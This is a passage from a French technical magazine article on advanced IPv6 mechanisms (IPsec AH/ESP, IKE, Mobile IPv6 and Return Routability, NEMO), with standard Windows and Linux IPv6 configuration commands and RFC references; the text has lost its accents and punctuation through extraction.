Payload Len 8 bits Speacutecifie la longueur -2 en mots de 32 bits de lrsquoextension drsquoen-tecircte AH

RESERVED 16 bits Positionneacute agrave 0

SPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave utiliser

Sequence Number

32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le re-jeu

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte AH est un multiple de 64 bits (32 bits pour IPv4)

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 43

nel Vient ensuite le deacutechiffrement du paquet avec lrsquoalgo-rithme et la cleacute fournie par lrsquoassociation de seacutecuriteacute

Le rejeu des paquets est quant agrave lui deacutetecteacute agrave la ma-niegravere drsquoAH par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension ESP est inseacutereacutee de la mecircme maniegravere que lrsquoextension AH apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) ESP eacutetant eacutegalement vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication el-le apparaicirct apregraves les extensions drsquoen-tecircte Hop-By-Hop Option Header Routing Header et Fragment Header Lrsquoextension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Le chiffrement porte donc sur les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP agrave lrsquoexception des champs SPI Sequence Number ICV

Lrsquoauthentification eacuteventuelle reacutealiseacutee par le champ ICV porte sur lrsquoensemble des octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP La Figure 5 montre ainsi le positionnement de lrsquoextension drsquoen-tecircte ESP en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacute-griteacute et du chiffrement

Mode tunnelEn mode Tunnel lrsquoextension ESP est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 6 et le tableau 4 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur Dans le cas drsquoune utilisation en mode tunnel la totaliteacute du pa-quet initial est donc chiffreacutee

topologies de mises en œuvre IPsec a un inteacuterecirct majeur principalement par son mode ESP dans le cas ougrave nous souhaitons

bull chiffrer etou authentifier du trafic de bout en bout ou jusqursquoagrave une passerelle Dans ce cas les entiteacutes en

preacutesence doivent preacutefeacuterentiellement disposer drsquoun adressage public le NAT eacutetant assez difficilement compatible avec IPsec Une telle topologie a un inteacute-recirct majeur pour assurer la confidentialiteacute entre 2 enti-teacutes ou pour un utilisateur nomade par exemple

bull creacuteer un VPN entre sites distants Ce besoin inter-vient pour par exemple interconnecter des reacuteseaux priveacutes distants au travers dun reacuteseau public

Ces 2 modes opeacuterationnels sont reacutesumeacutes dans la Fi-gure 7 Dans cette figure la protection est symeacutetrique ce qui nrsquoest pas forceacutement le cas les associations de seacutecuriteacute eacutetant unidirectionnelles

iKe (internet Key exchange)Il a eacuteteacute preacuteceacutedemment indiqueacute qursquoAH et ESP neacutecessi-taient des cleacutes de chiffrements par le biais des associa-tions de seacutecuriteacute Cette gestion des cleacutes peut donc ecirctre manuelle mais dans un environnement conseacutequent une telle gestion devient irreacutealisable De plus cette meacutethode implique une deacutefinition totalement statique des associa-tions de seacutecuriteacute et un non-renouvellement des cleacutes

Le protocole IKE a donc eacuteteacute deacuteveloppeacute pour une ges-tion automatique des associations de seacutecuriteacute en parti-culier des cleacutes ainsi que des algorithmes agrave utiliser

IKE fait appel aux eacuteleacutements suivants

bull un protocole de gestion des associations de seacutecuri-teacute ISAKMP (Internet Security Association and Key Management Protocol) deacutefinissant des formats de paquets pour creacuteer modifier et deacutetruire des asso-ciations de seacutecuriteacute Ce protocole sert eacutegalement de support pour leacutechange de cleacutes preacuteconiseacute par les pro-tocoles de gestion de cleacutes Il assure aussi lauthenti-fication des partenaires dune communication

bull un protocole deacutechange de cleacutes de session fondeacute sur SKEME et Oakley qui repose sur la geacuteneacuteration de secrets partageacutes Diffie-Hellman

bull un domaine dinterpreacutetation ou DOI (Domain of In-terpretation) qui deacutefinit tous les paramegravetres propres agrave lenvironnement IPsec agrave savoir les protocoles

table 2 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour AH en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de AH (51) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule Aucune modification

5201044

Pratique

deacutechanges de cleacutes les paramegravetres dassociations de seacutecuriteacute agrave neacutegocier hellip

bull les cleacutes utiles lors de lauthentification mutuelle des eacutequipements IPsec qui intervient en preacutealable agrave toute neacutegociation dassociation de seacutecuriteacute Ces cleacutes peu-vent ecirctre des cleacutes partageacutees (pre-shared key) preacutecon-figureacutees par ladministrateur ou des cleacutes priveacuteespubli-ques personnelles agrave chaque eacutequipement IPsec et preacute-chargeacutees dans les eacutequipements ou encore un certifi-cat eacutelectronique geacutereacute par une infrastructure agrave cleacutes pu-bliques (PKI Public Key Infrastructure)

A lrsquoheure actuelle deux versions cohabitent IKEv1 tregraves complexe et IKEv2 qui en est une version simplifieacutee pour sa mise en œuvre ainsi que par son meacutecanisme

Mobiliteacute de Machines MiPv6En termes de mobiliteacute deux meacutecanismes principaux se distinguent la micro-mobiliteacute et la macro-mobiliteacute La micro-mobiliteacute est celle utiliseacutee entre autres par le wifi Les entiteacutes en cours de deacuteplacement sassocient de nouveau agrave des stations de base et conservent leur possibiliteacute de connectiviteacute au sein drsquoun domaine Cette gestion des handovers est relativement fine et limite la signalisation au sein du reacuteseau Ces meacutecanismes sont cependant peu efficaces au sein de plusieurs domai-nes En effet les adresses IP sont dans ce dernier cas reneacutegocieacutees pour mapper au domaine et pouvoir ainsi ecirctre routables

La macro-mobiliteacute reacutesout ce problegraveme en conservant une connectiviteacute IP mecircme lors drsquoun changement de do-maine Les adresses IP originelles continuent drsquoecirctre uti-liseacutees lors des communications De mecircme les sessions TCP peuvent ainsi rester fonctionnelles lors drsquoun deacutepla-cement entre domaines IPv6 integravegre ce concept dans le protocole MIPv6 (Mobile IPv6)

ConceptsAvant de poursuivre il convient de deacutefinir les mots cleacutes principaux utiliseacutes par MIPv6

bull Reacuteseau Megravere reacuteseau auquel la machine appar-tient initialement

bull Nœud correspondant machine dialoguant avec le mobile

bull Home Address adresse IPv6 dans le reacuteseau megraverebull Care-of Address adresse IPv6 dans le reacuteseau visiteacutebull Agent Megravere machine du reacuteseau megravere servant drsquoin-

terface entre le mobile et le nœud correspondant

MIPv6 utilise intensivement la notion de tunnels Scheacute-matiquement les paquets transmis par le mobile dans un reacuteseau eacutetranger passent par lrsquoAgent Megravere preacutesent dans le reacuteseau megravere avant drsquoecirctre retransmis au Nœud corres-pondant Le chemin de retour est identique Le routage sous-jacent apporte le paquet jusqursquoagrave lrsquoAgent Megravere qui le retransmet au mobile dans son reacuteseau visiteacute

Lrsquoagent megravere doit eacutegalement ecirctre capable agrave tout mo-ment de localiser ses mobiles en deacuteplacement Il utilise pour cela un cache baptiseacute Binding Cache associant Home Address et Care-of Address de ses diffeacuterents mo-biles Un meacutecanisme de signalisation proteacutegeacute par IPsec en mode ESP est par conseacutequent utiliseacute pour mettre agrave jour ce cache Il ne sera pas fait eacutetat des paquets MIPv6 ici il srsquoagit simplement de savoir que cette mise agrave jour srsquoeffectue agrave lrsquoaide de paquets particuliers nommeacutes Bin-ding Update Ceux-ci sont geacuteneacuteralement acquitteacutes par lrsquoAgent Megravere par des Binding Acknowledgment

Lrsquoensemble des meacutecanismes basiques de MIPv6 se situe au niveau de la couche IP dans le modegravele TCPIP Ils ont eacuteteacute modeleacutes pour permettre une communication avec des entiteacutes nrsquoayant pas conscience des protoco-les de mobiliteacute Ils nont aucun effet sur les couches de

table 3 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte ESP

Champs Taille RocircleSPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave

utiliser

Sequence Number 32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le rejeu

IV VariableSelon lrsquoalgorithme usiteacute

Vecteur drsquoinitialisation eacuteventuel pour les algorithmes de chiffrement

TFC Padding Variable Traffic Flow Confidentiality Utiliseacute pour une protection contre les attaques statistiques

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte ESP est un multiple de 64 bits (32 bits pour IPv4)

Pad Length 8 bits Indique la taille du champ Padding en octets

Next Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine extension drsquoen-tecircte Similaire au champ Protocol en IPv4

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 45

niveau transport et applicative Pour le correspondant cette communication est totalement transparente

Mobiliteacute de Machines MiP6Le mobile situeacute dans son reacuteseau megravere utilise sa Home Address pour dialoguer de maniegravere classique avec des Nœuds correspondants Lorsqursquoil se deacuteplace dans un reacuteseau visiteacute la proceacutedure est la suivante

bull Le mobile obtient une nouvelle adresse IP par com-binaison de son adresse MAC et du nouveau preacute-fixe reacuteseau la Care-of Address Il dispose toujours de sa Home Address

bull Le mobile transmet un Binding Update agrave lrsquoagent megravere afin de mettre agrave jour son cache drsquoassociation Ce paquet eacutetant proteacutegeacute par IPsec en mode ESP lrsquoauthentification lrsquoanti-rejeu la confidentialiteacute et lrsquoin-teacutegriteacute sont assureacutes

bull Lrsquoagent megravere aura alors agrave charge de capturer les paquets auparativement transmis au mobile II uti-lise dans cette optique les possibiliteacutes offertes par le protocole de deacutecouverte des voisins (Neighbor Discovery) en annonccedilant son adresse MAC com-me destinataire de lrsquoensemble des paquets unicast agrave destination du mobile Les caches NDP des ma-chines preacutesentent sur le lien megravere seront ainsi re-mis agrave jour

bull Lorsque le mobile souhaite dialoguer avec un nœud correspondant il peut choir drsquoutiliser son nouvel adres-sage ou de masquer sa mobiliteacute par lrsquoutilisation de sa Home Address Dans ce dernier cas il construit un tunnel ESP avec son Agent Megravere et encapsule les pa-quets agrave destination de son correspondant Lrsquoadresse source de la partie interne est ainsi la Home Address lrsquoadresse destination est celle du correspondant

bull Le paquet parvient agrave lrsquoAgent Megravere qui veacuterifie son authentification le deacutechiffre le deacutesencapsule et le retransmet sur le reacuteseau

bull Le correspondant pourra y reacutepondre de maniegravere sy-meacutetrique Cette reacuteponse sera captureacutee par lrsquoAgent Megravere chiffreacutee et authentifieacutee avant drsquoecirctre retrans-mise au mobile dans le tunnel ESP En cas drsquoun deacute-placement en cours de communication le binding cache aura eacuteteacute actualiseacute permettant agrave lrsquoAgent megravere de retrouver son mobile

La Figure 8 positionne ces diffeacuterentes entiteacutes dans un contexte MIPv6

Optimisations de routesLes eacutechanges entre mobiles et correspondants nrsquoeacutetant pas toujours les plus optimums en matiegravere de routage MIPv6 integravegre un mode drsquooptimisation pour les corres-pondants inteacutegrant des fonctions speacutecifiques Il srsquoagit de supprimer simplement la passerelle occasionneacutee par lrsquoAgent Megravere

Pour cela MIPv6 deacutefinit 2 nouvelles options

bull Routing Header de type 2 qui est simplement une extension drsquoen-tecircte Routing Header contenant la Home Address du mobile

bull Home Address Option qui est une sous-option de lrsquoextension drsquoen-tecircte Destination Option Header trai-teacute uniquement par le reacutecepteur du paquet

Lorsquun correspondant supporte loptimisation de rou-tage il maintient tout comme lAgent Megravere une table des associations pour tous les mobiles avec lesquels il est en communication Une veacuterification axeacutee autour drsquoICM-Pv6 est preacutealable avant toute optimisation

Le principe est alors assez proche de celui utiliseacute avec lrsquoAgent Megravere

bull Le mobile en deacuteplacement transmet un Binding Update au correspondant pour lui faire eacutetat de sa nouvelle localisation apregraves en avoir fait de mecircme agrave

table 4 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour ESP en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute

Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de ESP (50) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule

Aucune modification

5201046

Pratique

son Agent Megravere Ce correspondant mettra alors agrave jour son Binding Cache

bull Lorsque le mobile veut transmettre un message au correspondant il utilise en adresse source sa Care-of Address mais ajoute lrsquooption Home Address Option

bull Le paquet subira le routage classique entre le mobi-le et le correspondant remontera dans la pile MIPv6 de ce correspondant qui eacutechangera Care-of Address du champ adresse source et Home Address preacutesen-tes dans lrsquooption Home Address Option Pour la pi-le IPv6 le paquet sera transparent comme prove-nant directement du mobile depuis son reacuteseau Megravere Si ce paquet est proteacutegeacute par IPsec les veacuterifications sappuieront donc sur lrsquoadresse megravere

bull Avant de reacutepondre le correspondant cherchera dans sa table drsquoassociation la Care-Of Address du mobile Il transmettra alors le paquet en utilisant cette Care-Of Address en destination et y ajoutera lrsquooption Rou-ting Header de type 2 remplie avec la Home Address

bull Le paquet parviendra donc au mobile qui eacutechangera preacutealablement lrsquoadresse de destination avec la Home Address Le paquet remontera donc eacutegalement dans les couches de maniegravere totalement transparente

Ce meacutecanisme donne donc des trajectoires opti-mums en matiegravere de routage et permet de limiter les contraintes en matiegravere drsquoingress et drsquooutgress filte-ring Ce meacutecanisme de mise agrave jour dassociation po-se cependant dimportants problegravemes en matiegravere de seacutecuriteacute En effet il est aiseacute de proteacuteger les eacutechan-ges de signalisation entre le mobile et lagent megravere du fait de la relation administrative qui permet par exemple lutilisation dun secret partageacute mais ceci est beaucoup plus compliqueacute en ce qui concerne les correspondants sans protection il serait possible de deacutetourner les communications dun mobile en re-dirigeant le trafic pour lespionner ou de mener une attaque par deacuteni de service Une proceacutedure speacutecifi-que baptiseacutee Return Routability proceacutedure doit donc ecirctre mise en œuvre avant toute deacutecision drsquooptimisa-tion

return routability proceacutedureCette proceacutedure est destineacutee agrave la protection partielle des associations de seacutecuriteacute entre mobile et correspon-dant dans le cas de lrsquooptimisation de route Elle repose sur une utilisation de 4 messages principaux

table 5 Les commandes essentielles IPv6 sous Windows

Commande Netsh Rocirclenetsh interface ipv6 show interface Affiche les interfaces IPv6

netsh interface ipv6 set interface[[interface=]String][[forwarding=]enabled | disabled][[advertise=]enabled | disabled][[mtu=]Integer] [[siteid=]Integer][[metric=]Integer] [[store=]active |persistent]

Permet drsquoactiver le forwarding des interfaces les annonces de Rout-er Advertisement

netsh interface ipv6 add address[[interface=]String][address=]IPv6Address[[type=]unicast | anycast][[validlifetime=]Integer | infinite][[preferredlifetime=]Integer |infinite] [[store=]active | persistent]

Permet drsquoajouter des adresses IPv6 aux interfaces

netsh interface ipv6 showbindingcacheentries

Affiche le Binding cache utiliseacute par MIPv6

netsh interface ipv6 show routes[[level=]normal | verbose][[store=]active | persistent]

Affiche les routes IPv6

netsh interface ipv6 add route[prefix=]IPv6AddressInteger[[interface=]String][[nexthop=]IPv6Address][[siteprefixlength=]Integer][[metric=]Integer] [[publish=]no | yes| immortal] [[validlifetime=]Integer |infinite] [[preferredlifetime=]Integer| infinite] [[store=]active |persistent]

Ajoute une route IPv6 dans la table de routage

netsh interface ipv6 renew[[interface=]String]

Permet la reacuteinitialisation des adresses IPv6

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 47

bull HoTI Home Test Initbull CoTI Care-of Test Initbull HoT Home Testbull CoT Care-of Test

Les correspondants inteacutegrant lrsquooptimisation de route doivent preacutealablement disposer de nonces et drsquoune cleacute secregravete noteacutee Kcn

La proceacutedure utiliseacuteee est la suivante

bull un message HoTI est eacutemis depuis la Home Address du mobile vers le correspondant via lagent megravere Il contient une valeur aleacuteatoire sur 64 bits le Home Init cookie

bull parallegravelement un message CoTI est eacutemis depuis la care-of address du mobile directement vers le nœud correspondant Celui-ci contient une seconde valeur aleacuteatoire sur 64 bits le Care-of Init cookie

bull en reacuteponse au message HoTI un message HoT est eacutemis par le correspondant agrave destination de la Home Address du mobile via lAgent Megravere Ce pa-quet contient entre autres lrsquoindex drsquoun nonce choisi par le correspondant ainsi qursquoun Home Keygen to-ken calculeacute par premier (64 HMAC _ SHA1 (Kcn (home

address | nonce | 0 )))

bull de mecircme en reacuteponse au message CoTI un message CoT est eacutemis par le correspondant vers la Care-of Ad-dress du mobile Ce paquet contient entre autres lrsquoin-dex drsquoun autre nonce choisi par le correspondant ain-si qursquoun Home Keygen token calculeacute par premier (64 HMAC _ SHA1 (Kcn (care-of address | nonce | 0 )))

A lrsquoissue de ces diffeacuterentes eacutetapes le mobile calcule une cleacute noteacutee Kbm

Kbm = SHA1 ( home keygen token | care-of keygen

token)

La Figure 9 repreacutesente le cheminement de ces diffeacute-rents messages au travers de lrsquoInternet

Cette cleacute sera utiliseacutee lors de la mise agrave jour des associa-tions pour authentifier le mobile par le calcul drsquoun HMAC

Cette proceacutedure repose sur lrsquohypothegravese forte qursquoaucun espion nrsquoeacutecoute agrave la fois les messages CoT et HoT qui

normalement empruntent des chemins distincts Dans le cas contrairen il lui serait aiseacute de calculer Kbm et de geacuteneacuterer des faux messages drsquoassociation Cette eacutecou-te nrsquoest pas faisable dans le reacuteseau visiteacute puisque les eacutechanges entre Agent Megravere et mobile sont chiffreacutes Pra-tiquement cette attaque est aiseacutee dans le reacuteseau du correspondant mais elle nrsquoest pas eacutevalueacutee comme eacutetant plus risqueacutee que celles rencontreacutees dans un contexte sans mobiliteacute par simple IP-spoofing NDP spoofinghellip

Afin de reacuteduire les risques les nonces ainsi que la cleacute Kcn sont reacuteguliegraverement actualiseacutes

Mobiliteacute de reacuteseaux NeMOMIPv6 gegravere la mobiliteacute dun hocircte tandis que NEMO as-sure la mobiliteacute dun reacuteseau IPv6 entier appeleacute reacuteseau mobile Dans le cas de NEMO la complexiteacute est centra-liseacutee sur un eacutequipement deacutedieacute le routeur mobile Ain-si chaque mouvement (lorsque le reacuteseau mobile se deacute-place dun reacuteseau daccegraves vers un autre) est transparent pour lensemble des hocirctes IPv6 du reacuteseau mobile Un hocircte IPv6 standard peut ainsi beacuteneacuteficier dune connecti-viteacute permanente au sein dun reacuteseau mobile sans avoir toutefois besoin de protocoles additionnels

NEMO coupleacute avec certaines extensions gegravere notam-ment la mobiliteacute des reacuteseaux IPv6 la continuiteacute des flux les eacutequipements multi-interfaces Dans sa version ac-tuellement standardiseacutee NEMO ne gegravere cependant pas les optimisations de route comme peut le geacuterer MIPv6

Pratique amp Mise en œuvreLa majeure partie des Systegravemes drsquoexploitation des softwares des eacutequipements reacuteseaux actuels disposent drsquoun support IPv6 Vous pourrez le veacuterifier sur le site de lrsquoIPv6 Ready Logo Committee programme mondial de certification IPv6 Vous obtiendrez sur ce site le deacute-tail des impleacutementations actuellement certifieacutees et vous constaterez aiseacutement lrsquoimportant retard de lrsquoEurope

Les infrastructures reacuteseaux europeacuteennes ont eacutegalement accumuleacutees un retard consideacuterable dans cette migration hellip Et pourtant les reacuteseaux de lrsquoenseignement et de la re-cherche proposent depuis deacutejagrave plusieurs anneacutees un sup-port Natif drsquoIPv6 voire du multicast IPv6 Heureusement quelques ISP (Internet Service Provider) tels que Free offrent depuis quelques mois un adressage IPv6

table 6 Commandes principales pour la configuration drsquoIPv6 sous linux

Commande ip Rocircleip -6 address show [dev ltpeacuteripheacuteriquegt] Affiche les adresses IPv6

ip -6 addr add ltadresseipv6gtltlongueurdupreacutefixegt dev ltinterfacegt Ajoute une adresse IPv6

ip -6 route show [dev ltpeacuteripheacuteriquegt] Affiche les routes IPv6

ip -6 route add ltreacuteseauipv6gtltlongueurdupreacutefixegt via ltadresseipv6gt [dev ltpeacuteripheacuteriquegt]

Ajoute une route IPv6

ip -6 neigh show [dev ltpeacuteripheacuteriquegt] Affiche les voisins NDP

ip -6 neigh add ltadresseIPv6gt lladdr ltadressedelacouche-liengt dev ltpeacuteripheacuteriquegt

Ajoute un voisin NDP

5201048

Pratique

Ce paragraphe a pour objectif de vous faire appreacute-hender la mise en œuvre basique drsquoIPv6 sur les prin-cipaux systegravemes utiliseacutes agrave savoir Windows et Linux Nous supposons que vous disposez drsquoores et deacutejagrave drsquoun adressage IPv6 parce que vous ecirctes par exem-ple dans une des situations preacuteceacutedemment eacutevoqueacutees Rappelons que les Internet IPv4 et IPv6 sont bien dis-tincts mecircme si une utilisation des machines en double pile permet la superposition de certaines portions Dans le cas contraire si vous deacutesirez plus qursquoun reacuteseau local il vous faudra utiliser lun des meacutecanismes de transition deacutecrits dans lrsquoarticle preacuteceacutedent Nous vous conseillons de preacutefeacuterence un tunnel broker et en second choix un tunnel 6to4

avec WindowsLa majeure partie des versions courantes de Windows disposent drsquoun support IPv6 Vista XP SP1 XP SP2 Server 2003 2008 Sous Vista et Server 2008 ce sup-port est activeacute par deacutefaut Sous XP ou Server 2003 il vous faudra lrsquoactiver au preacutealable

Selon les versions de Windows les meacutecanismes dis-ponibles sont plus ou moins complets

La mobiliteacute IPv6 ne prend en compte que la partie correspondant ni Home Agent ni Nœud Mobile ne sont disponibles

Sous Windows XP et Server 2003 IPsec pour IPv6 of-fre les meacutecanismes AH et ESP mais le chiffrement ainsi que la gestion automatique des cleacutes nrsquoest pas disponible Seuls Vista et Server 2008 offrent ces fonctionnaliteacutes

Vista et Server 2008 permettent une utilisation de DHCPv6

activation de la pile iPv6 amp Configuration des adressesCe besoin ne se retrouve que sous XP et Windows Server 2003 dont la pile IPv6 est par deacutefaut deacutesacti-veacutee

Cette activation se fait par le biais de lrsquooutil ipv6exe sous Windows XP ougrave de la commande netsh disponible sur toutes les versions

Sous Windows XP il srsquoagit drsquoexeacutecuter ipv6 install

Bien entendu les interfaces concerneacutees doivent ac-cepter la connectiviteacute TCPIPv6 dans le menu Proprieacute-teacutes adeacutequat

Une adresse Lien-locale associeacutee agrave chacune de vos cartes reacuteseau sera alors automatiquement configureacutee par concateacutenation du preacutefixe fe80 et de votre identifiant drsquointer-face deacutefini depuis lrsquoadresse MAC associeacutee Les interfaces relieacutees agrave un reacuteseau IPv6 constitueacute drsquoun routeur annonccedilant des Router Advertisement obtiendront de mecircme automa-tiquement une adresse globale unicast unique routable et contenant lrsquoadresse MAC de lrsquointerface concerneacutee

La commande ipconfig all (ou netsh show) vous prou-vera votre connectiviteacute La figure 10 vous montre une telle configuration sous Windows XP

Vous constaterez eacutegalement une adresse suppleacute-mentaire qualifieacutee de Temporaire Il srsquoagit en fait drsquoune adresse globale de dureacutee de vie relativement courte destineacutee au masquage de lrsquoadresse MAC (disponible depuis le SP2) Au besoin vous pourrez la deacutesactiver par ipv6 ndashp gpu useTemporaryAddresse no

Connectiviteacute cheminLorsque vous disposerez drsquoune adresse routable ou simplement pour tester la connectiviteacute entre deux ma-chines vous pourrez utiliser la commande ping6 qui est le pendant de ping pour IPv4 Cette commande geacute-negravere un ensemble de paquets ICMPv6 Echo Request et affiche les reacuteponses associeacutees ICMPv6 Echo Re-ply

La Figure 11 montre un tel ping6 sur wwwgooglefr deacutesormais adressable en IPv6 Les paquets reacutesultants de cette commande sont eacutegalement indiqueacutes par cap-ture du trafic avec Wireshark

En IPv4 pour connaicirctre le trajet suivi par les paquets la commande tracert est geacuteneacuteralement utiliseacutee En IPv6 il srsquoagit deacutesormais de tracert6

Cache des voisins (NDP Cache)La reacutesolution MACAdresse en IPv4 donne naissan-ce au cache ARP obtenu par arp ndashan par exemple En IPv6 il srsquoagit deacutesormais du cache NDP qui peut ecirctre ob-tenu par ipv6 nc ou netsh interface ipv6 show neighbors

table 7 Reacutefeacuterences

Lien Titrehttplivrepoint6netindexphp IPv6 Theacuteorie et Pratique - Gisegravele Ciza-

ult

httpipv6readyorg Site de lrsquoIPv6 Ready Logo Committee

httpwwwdeepspace6netdocsipv6_status_page_appshtml Statut des applications reacuteseaux sup-portant IPv6

httpmirrorsdeepspace6netLinux+IPv6-HOWTO-fr HOWTO IPv6 pour Linux

httpwwwlinux-franceorgprjinetdocguidesAdvanced-routing-Howto HOWTO du routage avanceacute et du con-trocircle de trafic sous Linux

httpwikiwiresharkorgESP_Preferences Le module de deacutechiffrement et drsquoauthentification ESP pour Wireshark

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 49

Diverses CommandesLrsquoensemble des configurations essentielles IPv6 sous Windows srsquoeffectuent agrave lrsquoaide de Netsh (etou ipv6exe sous Windows XP) Hormis celles preacuteceacutedemment deacutefi-nies les commandes essentielles sont indiqueacutees dans le Tableau 5

accegraves Web en iPv6Classiquement en IPv4 les URLs (Uniform Resource Locator) utiliseacutees dans les accegraves HTTP (HypertexT Transfert Protocol) utilisent le nommage DNS (Domain Name System) Avant toute requecircte lrsquoadresse du ser-veur HTTP est donc geacuteneacuteralement preacutealablement tra-duite par le biais des serveurs DNS Avec IPv6 il en est de mecircme le browser dans un premier temps recher-che lrsquoensemble des adresses IP associeacutees au serveur HTTP Si celui-ci dispose drsquoune adresse IPv6 il tentera dans un premier temps de le joindre par IPv6 En cas drsquoeacutechec crsquoest le protocole IPv4 qui sera utiliseacute Nous rappelons qursquoil nrsquoest pas indispensable que le serveur DNS soit adresseacute en IPv4 pour retourner des adresses IPv6

A lrsquoheure actuelle la majeure partie des navigateurs supporte IPv6 par deacutefaut Firefox Internet Explorer hellip A titre drsquoexemple vous pourrez vous connecter sur wwwkamenet Si vous disposez drsquoun accegraves exteacuterieur IPv6 et drsquoun browser compatible vous devriez voir en premiegravere page une tortue animeacutee Le cas eacutecheacuteant elle sera fixe

Avec IPv6 les adresses eacutetant 4 fois plus longues les URLs contenant des IPs devraient encore moins se pratiquer Cependant ceci reste possible et pour diffeacute-rencier les de lrsquoadresse avec la section port de lrsquoURL il faut entourer lrsquoIP de [ ] (Exemple http[20014860a00368] pour acceacuteder agrave google en IPv6)

avec LinuxQuelle que soit la distribution contemporaine utiliseacutee celle-ci contient IPv6 Vous pourrez neacuteanmoins tester la preacutesence de son support dans le noyau par veacuterification de la preacutesence du chemin procnetif_inet6 Le mo-dule IPv6 doit eacutegalement ecirctre chargeacute avant toute utilisa-tion Un appel agrave lsmod vous le confirmera

table 8 Liste des RFCs relatives agrave IPv6

Norme TitreRFC 2403 The Use of HMAC-MD5-96 within ESP and AH

RFC 2404 The Use of HMAC-SHA-1-96 within ESP and AH

RFC 2405 The ESP DES-CBC Cipher Algorithm With Explicit IV

RFC 2409 The Internet Key Exchange (IKE)

RFC 2451 The ESP CBC-Mode Cipher Algorithms

RFC 3566 The AES-XCBC-MAC-96 Algorithm and Its Use With IPsec

RFC 3602 The AES-CBC Cipher Algorithm and Its Use with IPsec

RFC 3686 Using Advanced Encryption Standard (AES) Counter Mode With IPsec Encapsulating Security Payload (ESP)

RFC 3775 Mobility Support in IPv6

RFC 3776 Using IPsec to Protect Mobile IPv6 Signaling Between Mobile Nodes and Home Agents

RFC 3963 Network Mobility (NEMO) Basic Support Protocol

RFC 4109 Algorithms for Internet Key Exchange version 1 (IKEv1)

RFC 4301 Security Architecture for the Internet Protocol

RFC 4302 IP Authentication Header

RFC 4303 IP Encapsulating Security Payload (ESP)

RFC 4306 Internet Key Exchange (IKEv2) Protocol

RFC 4307 Cryptographic Algorithms for Use in the Internet Key Exchange Version 2 (IKEv2)

RFC 4385 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4835 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4877 Mobile IPv6 Operation with IKEv2 and the Revised IPsec Architecture

RFC 4885 Network Mobility Support Terminology

RFC 4886 Network Mobility Support Goals and Requirements

RFC 4887 Network Mobility Home Network Models

RFC 4888 Network Mobility Route Optimization Problem Statement

RFC 4889 Network Mobility Route Optimization Solution Space Analysis

5201050

Pratique

activation de la pile iPv6 amp Configuration des adressesSous Linux lrsquoensemble des configurations IPv6 peut ecirctre reacutealiseacute agrave lrsquoaide des anciennes commandes ifcon-fig netstat hellip

Depuis les noyaux au moins supeacuterieurs au 24 le sous-systegraveme reacuteseau a eacuteteacute complegravetement reacuteeacutecrit Lrsquoiproute2 eacutetend ainsi grandement les possibiliteacutes et centralise les configurations reacuteseaux La commande principale est ip

Le Tableau 6 preacutesente donc quelques une des op-tions principales pour configurer Ipv6

Le systegraveme Linux eacutetant lun des mieux documenteacutes si lrsquoune des options vous manque vous pouvez toujours utiliser la commande man (exemple man 8 ip)

